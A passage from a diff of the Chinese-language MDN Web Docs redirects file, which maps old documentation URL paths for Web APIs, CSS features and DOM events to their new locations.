/zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/btoa /zh-CN/docs/Web/API/Window/caches /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/caches +/zh-CN/docs/Web/API/Window/clearInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval +/zh-CN/docs/Web/API/Window/getAttention /zh-CN/docs/orphaned/Web/API/Window/getAttention +/zh-CN/docs/Web/API/Window/onbeforeunload /zh-CN/docs/Web/API/WindowEventHandlers/onbeforeunload +/zh-CN/docs/Web/API/Window/onhashchange /zh-CN/docs/Web/API/WindowEventHandlers/onhashchange +/zh-CN/docs/Web/API/Window/onmouseup /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onmouseup +/zh-CN/docs/Web/API/Window/onpopstate /zh-CN/docs/Web/API/WindowEventHandlers/onpopstate /zh-CN/docs/Web/API/Window/onresize /zh-CN/docs/Web/API/GlobalEventHandlers/onresize +/zh-CN/docs/Web/API/Window/onscroll /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onscroll +/zh-CN/docs/Web/API/Window/onunload /zh-CN/docs/Web/API/WindowEventHandlers/onunload +/zh-CN/docs/Web/API/Window/restore /zh-CN/docs/conflicting/Web/API/Window/moveTo +/zh-CN/docs/Web/API/Window/setInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setInterval +/zh-CN/docs/Web/API/Window/setTimeout /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout /zh-CN/docs/Web/API/WindowBase64 /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope#方法 +/zh-CN/docs/Web/API/WindowBase64/Base64_encoding_and_decoding /zh-CN/docs/Glossary/Base64 +/zh-CN/docs/Web/API/WindowBase64/atob /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/atob +/zh-CN/docs/Web/API/WindowBase64/btoa /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/btoa /zh-CN/docs/Web/API/WindowTimers /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope +/zh-CN/docs/Web/API/WindowTimers/clearTimeout /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout /zh-CN/docs/Web/API/XMLDocument.load /zh-CN/docs/Web/API/XMLDocument/load /zh-CN/docs/Web/API/XMLHttpRequest/FormData /zh-CN/docs/Web/API/FormData /zh-CN/docs/Web/API/console.dir /zh-CN/docs/Web/API/Console/dir @@ -1587,40 +1881,42 @@ /zh-CN/docs/Web/API/document.documentElement /zh-CN/docs/Web/API/Document/documentElement /zh-CN/docs/Web/API/document.documentURI /zh-CN/docs/Web/API/Document/documentURI /zh-CN/docs/Web/API/document.documentURIObject /zh-CN/docs/Web/API/Document/documentURIObject -/zh-CN/docs/Web/API/document.elementFromPoint /zh-CN/docs/Web/API/Document/elementFromPoint +/zh-CN/docs/Web/API/document.elementFromPoint /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/elementFromPoint /zh-CN/docs/Web/API/document.embeds /zh-CN/docs/Web/API/Document/embeds /zh-CN/docs/Web/API/document.evaluate /zh-CN/docs/Web/API/Document/evaluate /zh-CN/docs/Web/API/document.execCommand /zh-CN/docs/Web/API/Document/execCommand /zh-CN/docs/Web/API/document.fgColor /zh-CN/docs/Web/API/Document/fgColor /zh-CN/docs/Web/API/document.forms /zh-CN/docs/Web/API/Document/forms /zh-CN/docs/Web/API/document.getElementById /zh-CN/docs/Web/API/Document/getElementById -/zh-CN/docs/Web/API/document.getSelection /zh-CN/docs/Web/API/Document/getSelection +/zh-CN/docs/Web/API/document.getSelection /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/getSelection /zh-CN/docs/Web/API/document.hasFocus /zh-CN/docs/Web/API/Document/hasFocus /zh-CN/docs/Web/API/document.head /zh-CN/docs/Web/API/Document/head /zh-CN/docs/Web/API/document.height /zh-CN/docs/Web/API/Document/height /zh-CN/docs/Web/API/document.images /zh-CN/docs/Web/API/Document/images /zh-CN/docs/Web/API/document.implementation /zh-CN/docs/Web/API/Document/implementation -/zh-CN/docs/Web/API/document.inputEncoding /zh-CN/docs/Web/API/Document/inputEncoding +/zh-CN/docs/Web/API/document.inputEncoding /zh-CN/docs/conflicting/Web/API/Document/characterSet /zh-CN/docs/Web/API/document.lastModified /zh-CN/docs/Web/API/Document/lastModified /zh-CN/docs/Web/API/document.lastStyleSheetSet /zh-CN/docs/Web/API/Document/lastStyleSheetSet /zh-CN/docs/Web/API/document.linkColor /zh-CN/docs/Web/API/Document/linkColor /zh-CN/docs/Web/API/document.links /zh-CN/docs/Web/API/Document/links /zh-CN/docs/Web/API/document.location /zh-CN/docs/Web/API/Document/location -/zh-CN/docs/Web/API/document.mozFullScreen /zh-CN/docs/Web/API/Document/mozFullScreen -/zh-CN/docs/Web/API/document.mozFullScreenElement /zh-CN/docs/Web/API/Document/mozFullScreenElement -/zh-CN/docs/Web/API/document.mozFullScreenEnabled /zh-CN/docs/Web/API/Document/mozFullScreenEnabled +/zh-CN/docs/Web/API/document.mozFullScreen /zh-CN/docs/Web/API/Document/fullscreen +/zh-CN/docs/Web/API/document.mozFullScreenElement /zh-CN/docs/Web/API/DocumentOrShadowRoot/fullscreenElement +/zh-CN/docs/Web/API/document.mozFullScreenEnabled /zh-CN/docs/Web/API/Document/fullscreenEnabled /zh-CN/docs/Web/API/document.querySelector /zh-CN/docs/Web/API/Document/querySelector /zh-CN/docs/Web/API/document.readyState /zh-CN/docs/Web/API/Document/readyState /zh-CN/docs/Web/API/document.referrer /zh-CN/docs/Web/API/Document/referrer /zh-CN/docs/Web/API/document.scripts /zh-CN/docs/Web/API/Document/scripts -/zh-CN/docs/Web/API/document.styleSheets /zh-CN/docs/Web/API/Document/styleSheets +/zh-CN/docs/Web/API/document.styleSheets /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/styleSheets /zh-CN/docs/Web/API/document.title /zh-CN/docs/Web/API/Document/title /zh-CN/docs/Web/API/document.tooltipNode /zh-CN/docs/Web/API/Document/tooltipNode /zh-CN/docs/Web/API/document.width /zh-CN/docs/Web/API/Document/width /zh-CN/docs/Web/API/document.write /zh-CN/docs/Web/API/Document/write /zh-CN/docs/Web/API/document.writeln /zh-CN/docs/Web/API/Document/writeln /zh-CN/docs/Web/API/element.outerHTML /zh-CN/docs/Web/API/Element/outerHTML +/zh-CN/docs/Web/API/event.altKey /zh-CN/docs/conflicting/Web/API/MouseEvent/altKey /zh-CN/docs/Web/API/event.bubbles /zh-CN/docs/Web/API/Event/bubbles +/zh-CN/docs/Web/API/event.button /zh-CN/docs/conflicting/Web/API/MouseEvent/button /zh-CN/docs/Web/API/event.cancelBubble /zh-CN/docs/Web/API/UIEvent/cancelBubble /zh-CN/docs/Web/API/event.cancelable /zh-CN/docs/Web/API/Event/cancelable /zh-CN/docs/Web/API/event.currentTarget /zh-CN/docs/Web/API/Event/currentTarget @@ -1629,24 +1925,36 @@ /zh-CN/docs/Web/API/event.isTrusted /zh-CN/docs/Web/API/Event/isTrusted /zh-CN/docs/Web/API/event.pageY /zh-CN/docs/Web/API/UIEvent/pageY /zh-CN/docs/Web/API/event.preventDefault /zh-CN/docs/Web/API/Event/preventDefault +/zh-CN/docs/Web/API/event.relatedTarget /zh-CN/docs/conflicting/Web/API/MouseEvent/relatedTarget +/zh-CN/docs/Web/API/event.shiftKey /zh-CN/docs/conflicting/Web/API/MouseEvent/shiftKey /zh-CN/docs/Web/API/event.stopImmediatePropagation /zh-CN/docs/Web/API/Event/stopImmediatePropagation /zh-CN/docs/Web/API/event.stopPropagation /zh-CN/docs/Web/API/Event/stopPropagation /zh-CN/docs/Web/API/event.timeStamp /zh-CN/docs/Web/API/Event/timeStamp /zh-CN/docs/Web/API/event.type /zh-CN/docs/Web/API/Event/type /zh-CN/docs/Web/API/navigator.doNotTrack /zh-CN/docs/Web/API/Navigator/doNotTrack /zh-CN/docs/Web/API/navigator.id.watch /zh-CN/docs/Web/API/IdentityManager/watch +/zh-CN/docs/Web/API/notification/Using_Web_Notifications /zh-CN/docs/Web/API/Notifications_API/Using_the_Notifications_API +/zh-CN/docs/Web/API/notification/sound /zh-CN/docs/orphaned/Web/API/notification/sound /zh-CN/docs/Web/API/range.getBoundingClientRect /zh-CN/docs/Web/API/Range/getBoundingClientRect /zh-CN/docs/Web/API/range.startOffset /zh-CN/docs/Web/API/Range/startOffset /zh-CN/docs/Web/API/range.surroundContents /zh-CN/docs/Web/API/Range/surroundContents -/zh-CN/docs/Web/API/window.onscroll /zh-CN/docs/Web/API/Window/onscroll +/zh-CN/docs/Web/API/window.onscroll /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onscroll /zh-CN/docs/Web/API/window.requestAnimationFrame /zh-CN/docs/Web/API/Window/requestAnimationFrame /zh-CN/docs/Web/API/剪贴板_API /zh-CN/docs/Web/API/Clipboard_API /zh-CN/docs/Web/API/开发式平台 /zh-CN/docs/Web/API/Push_API +/zh-CN/docs/Web/API/指数 /zh-CN/docs/Web/API/Index +/zh-CN/docs/Web/API/支付_请求_接口 /zh-CN/docs/Web/API/Payment_Request_API +/zh-CN/docs/Web/API/支付_请求_接口/Concepts /zh-CN/docs/Web/API/Payment_Request_API/Concepts /zh-CN/docs/Web/API/消息事件 /zh-CN/docs/Web/API/MessageEvent /zh-CN/docs/Web/API/网络_状况_接口 /zh-CN/docs/Web/API/Network_Information_API /zh-CN/docs/Web/API/自定义元素注册表 /zh-CN/docs/Web/API/CustomElementRegistry /zh-CN/docs/Web/API/自定义元素注册表/define /zh-CN/docs/Web/API/CustomElementRegistry/define +/zh-CN/docs/Web/API/语音识别 /zh-CN/docs/Web/API/SpeechRecognition +/zh-CN/docs/Web/API/语音识别/result_event /zh-CN/docs/Web/API/SpeechRecognition/result_event /zh-CN/docs/Web/API/鼠标事件 /zh-CN/docs/Web/API/MouseEvent +/zh-CN/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role /zh-CN/docs/Web/Accessibility/ARIA/Roles/button_role +/zh-CN/docs/Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性 /zh-CN/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute +/zh-CN/docs/Web/Accessibility/Web_Development /zh-CN/docs/conflicting/Web/Accessibility /zh-CN/docs/Web/Apps/Fundamentals/Audio_and_video_delivery /zh-CN/docs/Web/Guide/Audio_and_video_delivery /zh-CN/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/WebAudio_playbackRate_explained /zh-CN/docs/Web/Guide/Audio_and_video_delivery/WebAudio_playbackRate_explained /zh-CN/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/buffering_seeking_time_ranges /zh-CN/docs/Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges @@ -1654,39 +1962,71 @@ /zh-CN/docs/Web/Apps/Progressive /zh-CN/docs/Web/Progressive_web_apps /zh-CN/docs/Web/Apps/Progressive/App_structure /zh-CN/docs/Web/Progressive_web_apps/App_structure /zh-CN/docs/Web/Apps/Progressive/Introduction /zh-CN/docs/Web/Progressive_web_apps/Introduction -/zh-CN/docs/Web/Apps/Progressive/Network_independent /zh-CN/docs/Web/Progressive_web_apps/Network_independent -/zh-CN/docs/Web/Apps/Progressive/Re-engageable /zh-CN/docs/Web/Progressive_web_apps/Re-engageable -/zh-CN/docs/Web/Apps/Progressive/Responsive /zh-CN/docs/Web/Progressive_web_apps/Responsive +/zh-CN/docs/Web/Apps/Progressive/Network_independent /zh-CN/docs/conflicting/Web/Progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f +/zh-CN/docs/Web/Apps/Progressive/Re-engageable /zh-CN/docs/conflicting/Web/Progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67 +/zh-CN/docs/Web/Apps/Progressive/Responsive /zh-CN/docs/conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks /zh-CN/docs/Web/CSS/边框分割 /zh-CN/docs/Web/CSS/border-collapse /zh-CN/docs/Web/CSS/-moz-appearance /zh-CN/docs/Web/CSS/appearance -/zh-CN/docs/Web/CSS/:blank /zh-CN/docs/Web/CSS/:-moz-only-whitespace +/zh-CN/docs/Web/CSS/:-moz-placeholder /zh-CN/docs/conflicting/Web/CSS/:placeholder-shown +/zh-CN/docs/Web/CSS/::-moz-placeholder /zh-CN/docs/conflicting/Web/CSS/::placeholder +/zh-CN/docs/Web/CSS/:any /zh-CN/docs/conflicting/Web/CSS/:is +/zh-CN/docs/Web/CSS/:blank空白伪类 /zh-CN/docs/Web/CSS/:blank /zh-CN/docs/Web/CSS/:matches /zh-CN/docs/Web/CSS/:is +/zh-CN/docs/Web/CSS/@viewport/height /zh-CN/docs/conflicting/Web/CSS/@viewport +/zh-CN/docs/Web/CSS/@viewport/orientation /zh-CN/docs/conflicting/Web/CSS/@viewport_7861ca3461a359b150d44f2c8d74e53a +/zh-CN/docs/Web/CSS/@viewport/viewport-fit /zh-CN/docs/conflicting/Web/CSS/@viewport_a33ee59ffd8336ffb3336900dea02e9f +/zh-CN/docs/Web/CSS/@viewport/width /zh-CN/docs/conflicting/Web/CSS/@viewport_c925ec0506b352ea1185248b874f7848 +/zh-CN/docs/Web/CSS/@viewport/zoom /zh-CN/docs/conflicting/Web/CSS/@viewport_e065ce90bde08c9679692adbe64f6518 /zh-CN/docs/Web/CSS/Adjacent_sibling_selectors /zh-CN/docs/Web/CSS/Adjacent_sibling_combinator +/zh-CN/docs/Web/CSS/All_About_The_Containing_Block /zh-CN/docs/Web/CSS/Containing_block /zh-CN/docs/Web/CSS/Block_formatting_context /zh-CN/docs/Web/Guide/CSS/Block_formatting_context /zh-CN/docs/Web/CSS/CSS3中的关键帧 /zh-CN/docs/Web/CSS/@keyframes -/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/弹性框的高级布局 /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins +/zh-CN/docs/Web/CSS/CSSOM_View/坐标系 /zh-CN/docs/Web/CSS/CSSOM_View/Coordinate_systems +/zh-CN/docs/Web/CSS/CSS_Background_and_Borders /zh-CN/docs/conflicting/Web/CSS/CSS_Backgrounds_and_Borders +/zh-CN/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds /zh-CN/docs/conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +/zh-CN/docs/Web/CSS/CSS_Background_and_Borders/圆角边框发生器 /zh-CN/docs/Web/CSS/CSS_Background_and_Borders/Border-radius_generator +/zh-CN/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images /zh-CN/docs/Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +/zh-CN/docs/Web/CSS/CSS_Box_Model/Box-shadow_generator /zh-CN/docs/Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +/zh-CN/docs/Web/CSS/CSS_Colors /zh-CN/docs/conflicting/Web/CSS/CSS_Color +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持 /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/弹性框的高级布局 /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系 /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods +/zh-CN/docs/Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外 /zh-CN/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow +/zh-CN/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes /zh-CN/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Logical_Values_and_Writing_Modes +/zh-CN/docs/Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局 /zh-CN/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +/zh-CN/docs/Web/CSS/CSS_Logical_Properties/Basic_conceptsjie /zh-CN/docs/Web/CSS/CSS_Logical_Properties/Basic_concepts +/zh-CN/docs/Web/CSS/CSS_Logical_Properties/浮动和定位 /zh-CN/docs/Web/CSS/CSS_Logical_Properties/Floating_and_positioning +/zh-CN/docs/Web/CSS/CSS_Selectors/Comparison_with_XPath /zh-CN/docs/Web/XPath/Comparison_with_CSS_selectors /zh-CN/docs/Web/CSS/CSS_reference /zh-CN/docs/Web/CSS/Reference /zh-CN/docs/Web/CSS/CSS_values_syntax /zh-CN/docs/Web/CSS +/zh-CN/docs/Web/CSS/CSS_分片 /zh-CN/docs/Web/CSS/CSS_Fragmentation /zh-CN/docs/Web/CSS/Child_selectors /zh-CN/docs/Web/CSS/Child_combinator +/zh-CN/docs/Web/CSS/Common_CSS_Questions /zh-CN/docs/Learn/CSS/Howto/CSS_FAQ /zh-CN/docs/Web/CSS/Descendant_selectors /zh-CN/docs/Web/CSS/Descendant_combinator /zh-CN/docs/Web/CSS/General_sibling_selectors /zh-CN/docs/Web/CSS/General_sibling_combinator +/zh-CN/docs/Web/CSS/Layout_cookbook/卡片 /zh-CN/docs/Web/CSS/Layout_cookbook/Card +/zh-CN/docs/Web/CSS/Layout_cookbook/媒体对象 /zh-CN/docs/Web/CSS/Layout_cookbook/Media_objects /zh-CN/docs/Web/CSS/Reference/Webkit_Extensions /zh-CN/docs/Web/CSS/WebKit_Extensions /zh-CN/docs/Web/CSS/Reference/background-blend-mode /zh-CN/docs/Web/CSS/background-blend-mode /zh-CN/docs/Web/CSS/Reference/mix-blend-mode /zh-CN/docs/Web/CSS/mix-blend-mode /zh-CN/docs/Web/CSS/Tutorials/Using_CSS_transforms /zh-CN/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms -/zh-CN/docs/Web/CSS/Understanding_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index -/zh-CN/docs/Web/CSS/Understanding_z-index/Adding_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Adding_z-index -/zh-CN/docs/Web/CSS/Understanding_z-index/Stacking_and_float /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_and_float -/zh-CN/docs/Web/CSS/Understanding_z-index/Stacking_without_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index -/zh-CN/docs/Web/CSS/Understanding_z-index/The_stacking_context /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/The_stacking_context +/zh-CN/docs/Web/CSS/Understanding_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index +/zh-CN/docs/Web/CSS/Understanding_z-index/Adding_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +/zh-CN/docs/Web/CSS/Understanding_z-index/Stacking_and_float /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +/zh-CN/docs/Web/CSS/Understanding_z-index/Stacking_without_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +/zh-CN/docs/Web/CSS/Understanding_z-index/The_stacking_context /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context /zh-CN/docs/Web/CSS/Using_CSS_variables /zh-CN/docs/Web/CSS/Using_CSS_custom_properties -/zh-CN/docs/Web/CSS/Visual_formatting_model /zh-CN/docs/Web/Guide/CSS/Visual_formatting_model /zh-CN/docs/Web/CSS/attr /zh-CN/docs/Web/CSS/attr() /zh-CN/docs/Web/CSS/box_model /zh-CN/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model /zh-CN/docs/Web/CSS/calc /zh-CN/docs/Web/CSS/calc() /zh-CN/docs/Web/CSS/clamp /zh-CN/docs/Web/CSS/clamp() /zh-CN/docs/Web/CSS/counter /zh-CN/docs/Web/CSS/counter() /zh-CN/docs/Web/CSS/counters /zh-CN/docs/Web/CSS/counters() +/zh-CN/docs/Web/CSS/cursor/url /zh-CN/docs/Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property /zh-CN/docs/Web/CSS/element /zh-CN/docs/Web/CSS/element() /zh-CN/docs/Web/CSS/env /zh-CN/docs/Web/CSS/env() /zh-CN/docs/Web/CSS/filter-function/blur /zh-CN/docs/Web/CSS/filter-function/blur() @@ -1705,6 +2045,7 @@ /zh-CN/docs/Web/CSS/repeat /zh-CN/docs/Web/CSS/repeat() /zh-CN/docs/Web/CSS/repeating-linear-gradient /zh-CN/docs/Web/CSS/repeating-linear-gradient() /zh-CN/docs/Web/CSS/repeating-radial-gradient /zh-CN/docs/Web/CSS/repeating-radial-gradient() +/zh-CN/docs/Web/CSS/timing-function /zh-CN/docs/conflicting/Web/CSS/easing-function /zh-CN/docs/Web/CSS/transform-function/matrix /zh-CN/docs/Web/CSS/transform-function/matrix() /zh-CN/docs/Web/CSS/transform-function/matrix3d /zh-CN/docs/Web/CSS/transform-function/matrix3d() /zh-CN/docs/Web/CSS/transform-function/perspective /zh-CN/docs/Web/CSS/transform-function/perspective() @@ -1722,35 +2063,57 @@ /zh-CN/docs/Web/CSS/transform-function/translate /zh-CN/docs/Web/CSS/transform-function/translate() /zh-CN/docs/Web/CSS/transform-function/translate3d /zh-CN/docs/Web/CSS/transform-function/translate3d() /zh-CN/docs/Web/CSS/transform-function/translateY /zh-CN/docs/Web/CSS/transform-function/translateY() +/zh-CN/docs/Web/CSS/url /zh-CN/docs/Web/CSS/url() /zh-CN/docs/Web/CSS/var /zh-CN/docs/Web/CSS/var() +/zh-CN/docs/Web/CSS/word-wrap /zh-CN/docs/Web/CSS/overflow-wrap +/zh-CN/docs/Web/CSS/偏移 /zh-CN/docs/Web/CSS/offset /zh-CN/docs/Web/CSS/动画 /zh-CN/docs/Web/CSS/animation /zh-CN/docs/Web/CSS/右上角边框半径 /zh-CN/docs/Web/CSS/border-top-right-radius +/zh-CN/docs/Web/CSS/媒体查询 /zh-CN/docs/Web/CSS/Media_Queries /zh-CN/docs/Web/CSS/实际值 /zh-CN/docs/Web/CSS/actual_value -/zh-CN/docs/Web/CSS/开始 /zh-CN/docs/Web/Guide/CSS/Getting_started -/zh-CN/docs/Web/CSS/开始/Boxes /zh-CN/docs/Web/Guide/CSS/Getting_started/Boxes -/zh-CN/docs/Web/CSS/开始/Cascading_and_inheritance /zh-CN/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance -/zh-CN/docs/Web/CSS/开始/Color /zh-CN/docs/Web/Guide/CSS/Getting_started/Color -/zh-CN/docs/Web/CSS/开始/Content /zh-CN/docs/Web/Guide/CSS/Getting_started/Content -/zh-CN/docs/Web/CSS/开始/How_CSS_works /zh-CN/docs/Web/Guide/CSS/Getting_started/How_CSS_works -/zh-CN/docs/Web/CSS/开始/Lists /zh-CN/docs/Web/Guide/CSS/Getting_started/Lists -/zh-CN/docs/Web/CSS/开始/Readable_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Readable_CSS -/zh-CN/docs/Web/CSS/开始/SVG_and_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/SVG_and_CSS -/zh-CN/docs/Web/CSS/开始/Selectors /zh-CN/docs/Web/Guide/CSS/Getting_started/Selectors -/zh-CN/docs/Web/CSS/开始/Tables /zh-CN/docs/Web/Guide/CSS/Getting_started/Tables -/zh-CN/docs/Web/CSS/开始/Text_styles /zh-CN/docs/Web/Guide/CSS/Getting_started/Text_styles -/zh-CN/docs/Web/CSS/开始/What_is_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/What_is_CSS -/zh-CN/docs/Web/CSS/开始/为何使用CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS -/zh-CN/docs/Web/CSS/开始/媒体 /zh-CN/docs/Web/Guide/CSS/Getting_started/Media -/zh-CN/docs/Web/CSS/开始/布局 /zh-CN/docs/Web/Guide/CSS/Getting_started/Layout +/zh-CN/docs/Web/CSS/开始 /zh-CN/docs/conflicting/Learn/CSS/First_steps +/zh-CN/docs/Web/CSS/开始/Boxes /zh-CN/docs/conflicting/Learn/CSS/Building_blocks +/zh-CN/docs/Web/CSS/开始/Cascading_and_inheritance /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance +/zh-CN/docs/Web/CSS/开始/Color /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Values_and_units +/zh-CN/docs/Web/CSS/开始/Content /zh-CN/docs/Learn/CSS/Howto/Generated_content +/zh-CN/docs/Web/CSS/开始/How_CSS_works /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/Web/CSS/开始/Lists /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/Web/CSS/开始/Readable_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_is_structured +/zh-CN/docs/Web/CSS/开始/SVG_and_CSS /zh-CN/docs/Web/SVG/Tutorial/SVG_and_CSS +/zh-CN/docs/Web/CSS/开始/Selectors /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Selectors +/zh-CN/docs/Web/CSS/开始/Tables /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Styling_tables +/zh-CN/docs/Web/CSS/开始/Text_styles /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 +/zh-CN/docs/Web/CSS/开始/What_is_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 +/zh-CN/docs/Web/CSS/开始/为何使用CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 +/zh-CN/docs/Web/CSS/开始/媒体 /zh-CN/docs/Web/Progressive_web_apps/Responsive/Media_types +/zh-CN/docs/Web/CSS/开始/布局 /zh-CN/docs/conflicting/Learn/CSS/CSS_layout /zh-CN/docs/Web/CSS/整型 /zh-CN/docs/Web/CSS/integer /zh-CN/docs/Web/CSS/文本修饰 /zh-CN/docs/Web/CSS/text-decoration +/zh-CN/docs/Web/CSS/文本装饰线厚度(粗细) /zh-CN/docs/Web/CSS/text-decoration-thickness /zh-CN/docs/Web/CSS/混合模式 /zh-CN/docs/Web/CSS/blend-mode -/zh-CN/docs/Web/Events/Activate /zh-CN/docs/Web/API/Element/Activate_event -/zh-CN/docs/Web/Events/DOMContentLoaded_(event) /zh-CN/docs/Web/Events/DOMContentLoaded +/zh-CN/docs/Web/CSS/网格-模板-列 /zh-CN/docs/Web/CSS/grid-template-rows +/zh-CN/docs/Web/Events/Activate /zh-CN/docs/Web/API/Element/DOMActivate_event +/zh-CN/docs/Web/Events/DOMContentLoaded /zh-CN/docs/Web/API/Window/DOMContentLoaded_event +/zh-CN/docs/Web/Events/DOMContentLoaded_(event) /zh-CN/docs/Web/API/Window/DOMContentLoaded_event /zh-CN/docs/Web/Events/DOMMouseScroll /zh-CN/docs/Web/API/Element/DOMMouseScroll_event +/zh-CN/docs/Web/Events/abort /zh-CN/docs/conflicting/Web/API/HTMLMediaElement/abort_event +/zh-CN/docs/Web/Events/afterprint /zh-CN/docs/Web/API/Window/afterprint_event +/zh-CN/docs/Web/Events/afterscriptexecute /zh-CN/docs/Web/API/Element/afterscriptexecute_event +/zh-CN/docs/Web/Events/animationend /zh-CN/docs/Web/API/HTMLElement/animationend_event +/zh-CN/docs/Web/Events/animationstart /zh-CN/docs/Web/API/HTMLElement/animationstart_event +/zh-CN/docs/Web/Events/beforeprint /zh-CN/docs/Web/API/Window/beforeprint_event +/zh-CN/docs/Web/Events/beforescriptexecute /zh-CN/docs/Web/API/Element/beforescriptexecute_event +/zh-CN/docs/Web/Events/beforeunload /zh-CN/docs/Web/API/Window/beforeunload_event +/zh-CN/docs/Web/Events/blur /zh-CN/docs/Web/API/Element/blur_event /zh-CN/docs/Web/Events/canplay /zh-CN/docs/Web/API/HTMLMediaElement/canplay_event /zh-CN/docs/Web/Events/canplaythrough /zh-CN/docs/Web/API/HTMLMediaElement/canplaythrough_event +/zh-CN/docs/Web/Events/change /zh-CN/docs/Web/API/HTMLElement/change_event /zh-CN/docs/Web/Events/click /zh-CN/docs/Web/API/Element/click_event +/zh-CN/docs/Web/Events/compositionend /zh-CN/docs/Web/API/Element/compositionend_event +/zh-CN/docs/Web/Events/compositionstart /zh-CN/docs/Web/API/Element/compositionstart_event +/zh-CN/docs/Web/Events/compositionupdate /zh-CN/docs/Web/API/Element/compositionupdate_event +/zh-CN/docs/Web/Events/copy /zh-CN/docs/Web/API/Element/copy_event +/zh-CN/docs/Web/Events/cut /zh-CN/docs/Web/API/Element/cut_event /zh-CN/docs/Web/Events/dblclick 